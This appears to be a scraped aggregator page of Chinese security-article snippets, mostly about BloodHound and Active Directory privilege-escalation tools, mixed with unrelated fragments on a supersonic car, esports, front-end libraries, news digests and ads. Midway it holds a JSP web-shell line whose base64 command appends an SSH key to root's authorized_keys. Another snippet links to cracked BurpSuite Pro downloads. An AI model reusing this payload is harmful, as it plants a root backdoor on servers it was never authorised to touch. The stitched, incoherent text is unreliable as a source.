BloodHound 使用可视化图形显示域环境中的关系，攻击者可以使用 BloodHound 识别高度复杂的攻击路径，防御者可以使用 BloodHound 来识别和防御那些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松深入域环境中的权限关系。
当渗透进入内网后，利用BloodHound对庞大内网域环境进行自动化信息搜集并整理分析数据，提高渗透效率。
BloodHound是一个免费的域渗透分析工具，BloodHound以用图与线的形式将域内用户、计算机、组、 会话、ACL 及域内所有相关用户、组、计算机、登录信息、访问控制策略之间的关系直观地展现在Red Team成员面前，更便捷地分析域内情况，更快地在域内提升权限。BloodHound也可以使Blue Team成员对己方网络系统进行更好的安全检测，以及保证域的安全性。BloodHound 使用图形理论，自动化地在Active Directory环境中理清大部分人员之间的关系和细节。使用BloodHound， 可以快速地深入了解AD中的一些用户关系、哪些用户具有管理员权限、哪些用户有权对任何计 算机都拥有管理权限，以及有效的用户组成员信息。
KnowsMore是一款针对Microsoft活动目录安全的多功能工具，该工具使用纯Python开发，旨在帮助广大研究人员轻松执行针对Microsoft活动目录的渗透测试任务。
BloodHound是一款将域内信息可视化的单页的web应用程序，攻击者可以使用它来轻松识别高度复杂的攻击路径，同样的，防御者可以使用它来识别和消除那些相同的攻击路径。
大家好，这里是 渗透攻击红队 的第 74 篇文章，本公众号会记录一些红队攻击的案例，不定时更新！请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关！
PowerView 备忘单：https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
如果 BloodHound 数据库中存在 privesc 路径，此工具会自动执行两个 AD 对象、源（我们拥有的）和目标（我们想要的）之间的 AD privesc。自动化由两个步骤组成：
工作组是局域网中的一个概念，它是最常见的资源管理模式，简单是因为默认情况下计算机都是采用工作组方式进行资源管理的。将不同的电脑按功能分别列入不同的组中，以方便管理。默认情况下所有计算机都处在名为 WORKGROUP 的工作组中，工作组资源管理模式适合于网络中计算机不多，对管理要求不严格的情况。 域(domain)是微软为集中管理计算机而推出的一种方式，用来描述一种架构，和“工作组”相对应，由工作组升级而来的高级架构，域 (Domain)是一个有安全边界的计算机集合（ 安全边界，意思是在两个域中，一个域中的用户无法访问另一个域中的资源）。可以简单的把域理解成升级版的“工作组”，相比工作组而言，它有一个更加严格的安全管理控制机制，如果你想访问域内的资源，就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。
域渗透对于初学者来说，主要难点在于涉及域的基础理论知识较多，比如ACL访问控制、DcSync权限、黄金票据、白银票据、Access Token、哈希传递等等。
Autobloody是一款针对活动目录的安全审查工具，在该工具的帮助下，广大研究人员可以通过自动化的形式利用BloodHound扫描发现的活动目录提权路径来实现权限提升。
在域渗透的过程中，往往需要导出域信息进行分析。本文演示通过ADExplorer导出域内信息本地解析后导入BloodHound，来进行域内信息的分析。
英国领先的工程技术公司雷尼绍，正在运用快速成型制造（又称“增材制造”或“3D打印”）技术为BLOODHOUND超音速汽车生产主要的原型部件。该车将在2015年夏季尝试突破时速1000英里的速度极限。 该车最关键的部件之一是锥形车头部位 — 这正是帮助BLOODHOUND刷新陆地最快时速的第一部分，它将承受高达每平方米12吨的力。为解决这一负载问题，雷尼绍配合开发团队以钛合金为原料设计了原型锥形车头。该部分将安装到组成BLOODHOUND前车身的碳纤维无骨架式车身上。 雷尼绍向项目团队提供基于激光熔融 (La
然后导入至Visual Studio中，根据目标操作系统环境完成代码构建和编译即可。
我是后面接手这个域环境，而前面的dalao已经到域控的部分了，我因为写文章的原因，所以需要从原地出发，学习一下dalao是如何打到域控的
Empire和BloodHound这两个Github项目极大程度地简化了针对活动目录（AD）的渗透测试过程，至少在我当前所遇到的95%的环境中是这样的。随着年月的积累，我发现很多事情都是自己一直在重复地做着，因此我打算将它们通过自动化的方式来实现。毕竟，通过“即发即弃”的脚本来自动化获取域管理员权限（Domain Admin）是大家都想实现的一个目标，没错吧？ 幸运的是，前人已经帮我们完成了很多非常困难的任务。除此之外，Empire不久之前还引入了一个RESTful API，因此开发者可以轻而易举地创建
MacHound是Bloodhound审计工具的一个扩展组件，可以帮助广大研究人员收集和分析macOS主机上活动目录之间的关系。MacHound还可以收集macOS设备上已登录用户和管理员组成员的相关信息，并将这些信息存储至Bloodhound数据库中。除了使用HasSession和AdminTo之外，MacHound还可以向Bloodhound数据库中添加其他内容：
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDL3NKaDY4Uk5hWktLakNQaE40WUxpSnJ4eDR3N3JtbDBGcFRmMTNYNHVKZlpFZm4yU25scE9rdXQ0OE1LdURHOEtDcXczRW0zNU9odXdUa2p3ZEkvRGhGN3ZSeTB0T2xtWDE5NmJHcXpndE5pM1YzUHExc3NCMzV5Ui85SHJ6ZjVEdHdqS2NKdkphV0RuZzU2UWhHZjlnR21vdUZVQWV2QjdsUWl3a01FNWNxTzVsQTRwUm5KVEh2RU1OQUkxQkc3MTBEeWNKT28rNGh1TGNNVjZhdUs3UXdKTWdnN0oyU2U5TEpGZWk2R2g0amJUSGRhdmNBVjV6VVJZeFI4QVNXSmNqY29tM2dMUEE1UWNxSzNzSERRVmswUHllaTR3cEJwWWlFUGlHcHlQR2Y1T3ErUU0xQmJyR0gvTlRBYnZWa3dDZnBkRURWdVBNNWhHOFY4c09HTjIxczlWazFjMVBXaEh2WDZ1ejhRaDRNdUdnQlRYSHlZb3duTjg3OTExVDVGR0VjVzlWeUh1cm9FSVJtdE9sY3dBYmRMc0k0NVhOS1o0aWoxdERLNTRTMmpXWXhJTjhSL1ZuUnV2RVVoTVpGOUlabDM3UW5EQnBFR25LTXFjTVE4cHVUZUJBMngvSURHMFR6MWxjVGk5WHp5WjVheTd4dTJwZStidXhWT1BSQ2M9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(""); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("");%>
如何在 Active Directory 环境中检测 Bloodhound 的 SharpHound 收集器和 LDAP 侦察活动完成的枚举。我们将通过创建一些诱饵帐户（或蜂蜜帐户）并将它们与真实帐户混合来使用欺骗来检测这一点。诱饵帐户是为欺骗目的而创建的帐户，也用于防御以检测恶意行为。MITRE在其工具和技术中涵盖了Bloodhound和域枚举。
BloodHound是一种单页的JavaScript的Web应用程序，能显示Active Directory环境中隐藏的和相关联的主机内容。攻击者常使用BloodHound识别高度复杂的攻击路径，防御者亦可借助其识别和防御相同的攻击路径。本文由锦行科技的安全研究团队提供（作者：randall），旨在帮助大家深入了解BloodHound工具的使用。 一、环境
使用BloodHound准备收集域信息时，需要搭建neo4j数据库，而neo4j又需要java环境，电脑上明明装了java环境怎么设置环境变量都是报错
三个多月前，我们推出了BloodHound Enterprise，以帮助组织管理 Active Directory (AD) 中的攻击路径。从那时起，我们已经部署到许多环境中，并且每次都会遇到某种形式的相同问题，“所以告诉我们，它总是这么糟糕吗？” 我想通过回答这个问题来平息那些在运行开源版本时想知道同样事情的人的一些恐惧和焦虑。所以这里是：
关于BlueHound BlueHound是一款功能强大的开源工具，该工具可以帮助广大蓝队研究人员指出真正严重有影响力的安全问题。通过整合与用户权限、网络访问和未修复漏洞相关的信息，BlueHound将会给广大研究人员显示攻击者在进入目标网络之后可能会采取或可用的攻击路径。 BlueHound支持以图、表格等可视化的形式显示数据，而且工具还包含了一个Cypher编辑器可以直接编写Cypher查询。除此之外，我们还可以将仪表盘存储到数据库中，并与其他研究人员分享。 功能介绍 1、完全自动化：数据收
通过利用Mimikatz的 lsadump::setntlm和lsadump::changentlm函数，过去已经涵盖了这两个用例。虽然Mimikatz是最好的攻击工具之一，但我会尽量避免使用它，因为它是反病毒和 EDR 工具的高度目标。在这篇文章中，我将专门讨论用例 #2 — 为横向移动或权限提升重置密码。
BloodHound 可以帮助攻击者更简单地分析域环境情况，确定攻击路线，完成域内横向移动和权限提升。防御者也可以使用 BloodHound 去识别和清理这些容易被攻击者利用的攻击路线。红队和蓝队都可以借助 BloodHound 更轻松地深入了解 AD 域环境中的权限关系。
FalconHound是一款专为蓝队研究人员设计的多功能安全测试工具，该工具允许广大研究人员以更加自动化的形式增强BloodHound的能力，并将其整合进渗透测试活动中。除此之外，该工具还可以跟SIEM或其他日志聚合工具一起使用。
大家好，这里是 渗透攻击红队 的第 62 篇文章，本公众号会记录一些红队攻击的案例，不定时更新
1、bootstrap-typeahead 自动补全简单的使用教程，自动补全，使用起来看似很厉害的样子，同事使用的select2，我们老总建议我用的是typehead，发现typehead并不是很好使，先简单把使用过程总结一下，然后再使用select2看看，那个更加方便一些吧，毕竟用起来心累的东西，确实很难受啊。参考链接比较多，个人也可以自行参考，谢谢。
文章看点：windows defender团队对KrbRelayUp提权利用工具的原理介绍。文章中最重要的是，defender对KrbRelayUp工具的检测及拦截方法。
cypherhound是一款功能强大的终端应用程序，该工具基于Python 3开发，包含了260+针对BloodHound数据集的Neo4j密码。
ADCSsync是一款功能强大的临时性DCSync技术测试工具，该工具基于ESC1实现其功能，虽然该工具在运行速度方面没有优势，但ADCSsync能够在不使用DRSUAPI或卷影副本的情况下有效地执行临时DCSync攻击技术测试。
Aced是一款针对活动目录的安全检测与分析工具，该工具可以帮助广大研究人员解析单个目标活动目录的DACL。Aced可以针对目标帐户识别可疑的入站访问权限，解析入站权限的SID，并将该数据呈现给研究人员。除此之外，Aced还整合了pyldapsearch工具的日志记录功能，可以在本地记录目标主体的LDAP属性，而pyldapsearch的配套工具BOFHound可以对这些属性进行解析，随后我们可以将收集到的数据导入到BloodHound中进行后续操作。
当攻击者获得内网某台域内服务器的权限，就会以此为起始攻击点，尽可能地去收集域的信息，以获取域控权限作为内网的终极目标。例如，攻击者会在内网中收集域管理员用户列表和特定敏感用户的信息，通过定位域管理员以找到最佳攻击路径，从而拿到域管理员权限。
在一次渗透测试中，客户给了一个 IP 范围，要求执行外部的渗透测试，在尝试 nessus 扫描之后没有发现任何可以利用的点，着着我不得不探查目标 IP 是否部署有 web 服务，从而进一步测试。
在域环境中，如果安装Exchange后，系统会添加一个名为Microsoft Exchange Security Groups、Exchange Trusted Subsystem和Exchange Windows Permission三个组。如果获得了这三个组内任意用户的控制权限，就能够继承用户组的WriteDACL权限，WriteDACL权限可以修改域对象的ACL，最终实现利用DCSync导出域内所有用户hash，实现权限提升的目的。
查看当前主机是否存在杀软，也是个老牌杀软ESET NOD32，国外经常用这个，这次不用CS和MSF打。
本文转载自：https://www.cnblogs.com/backlion/p/10843067.html
Cypheroth是一款自动化可扩展工具套件，在该工具的帮助下，广大研究人员可以针对Bloodhound的Neo4j后端执行自动化密码查询，并将输出数据存储至电子表格之中。
1、利用目标用户使用的 user agent 来隐藏自身的恶意流量，比如像 Outlook 软件的 UA。
随着网站功能逐渐丰富，网页中的js也变得越来越复杂和臃肿，原有通过script标签来导入一个个的js文件这种方式已经不能满足现在互联网开发模式，我们需要团队协作、模块复用、单元测试等等一系列复杂的需求。
在谈论这篇文章的主要内容之前，我想先讲讲Bloodhound这个工具，BloodHound 是一个强大的内网域渗透提权分析工具，它把域中各种抽象的概念和结构放在了一个能运行且直观，并易于使用的图形化功能中，自动用于提取和分析数据，高效准确地显示如何提升 AD 域中的权限。它使用图形理论来自动化的在 Active Directory 环境中搞清楚大部分人员的关系和细节。我们可以使用 BloodHound 快速深入了解 AD 的一些用户关系，了解哪些用户具有管理员权限，哪些用户有权对任何计算机都拥有管理权限，以及有效的用户组成员信息。它是一个对于我们在域渗透中寻找攻击向量、规划攻击路线、进行横向移动等都有有巨大的帮助，在这篇文章中我们也会用到这款工具。
举世瞩目的Black Hat 2017即将于7月22-27日，在美国的拉斯维加斯盛大举行。作为信息安全方面的顶级会议，每年Black Hat都会带给我们许许多多的惊喜。从黑客大咖到全球顶级安全企业都将使出他们的浑身解数，为我们展示他们最新的技术研究成果。 而在上届新增的展示环节“Black Hat兵工厂”，则成为了众多工具爱好者最为期待的环节。那么在本届Black Hat的工具展示环节，将会为我们带来什么样的先进技术呢？为了不吊大家的胃口，下面我将为大家提前预告即将在本届Black Hat上发布的8款安
BloodyAD是一款功能强大的活动目录提权框架，该框架可以通过bloodyAD.py实现手动操作，或通过结合pathgen.py和autobloody.py来实现自动化提权以及活动目录安全检测任务。
昨日听闻uzi退役，心里便十分失落，我不打LOL,但是很喜欢看LPL，于是水文一篇，纪念青春。
BurpSuite Pro 2021.2最新版本 链接：https://pan.baidu.com/s/1CPwLCHUgpNoQBkqXRYySDw 提取码：oduq Burp-Suite汉化及兼容调试 | XR-SEC https://blog.zygd.site/Burp-Suite%E6%B1%89%E5%8C%96%E5%8F%8A%E5%85%BC%E5%AE%B9%E8%B0%83%E8%AF%95.html WEB扫描器Netsparker6.0.0 链接： 链接：https://pan.
小弟不才，学了点内网知识就想练练手，社工一个fofa会员就跑了一手jboss的站，跑完之后无聊的时候就拿拿shell，看看有没有域环境熟悉下dos命令。
汇聚了全球信息安全业界精英的年度盛事”Black Hat”上周在美国拉斯维加斯落下帷幕，大佬们也带来了很多有趣的软件工具，其中有一些托管在GitHub上开放下载。
各位 Buffer 周末好，以下是本周「FreeBuf周报」，我们总结推荐了本周的热点资讯、安全事件、一周好文和省心工具，保证大家不错过本周的每一个重点！
各位 Buffer 周末好，以下是本周「FreeBuf周报」，我们总结推荐了本周的热点资讯、安全事件、一周好文和省心工具，保证大家不错过本周的每一个重点！ 热点资讯 1、马斯克血洗Twitter，网络安全部门集体被裁 根据Twitter新任首席信息安全官Lea Kissner发布的消息，原有的网络安全部门集体被裁撤。 2、头铁！医疗保险巨头拒绝向黑客支付赎金 澳大利亚最大的医疗保险公司 Medibank 明确表示，不会向对其发动网络攻击并窃取内部数据的犯罪分子支付赎金。 3、将机密藏在三明治
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
